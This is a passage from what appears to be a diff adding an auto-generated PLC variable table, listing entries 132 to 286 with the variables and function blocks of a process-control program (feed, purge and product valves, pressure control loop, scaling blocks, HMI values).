+132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; 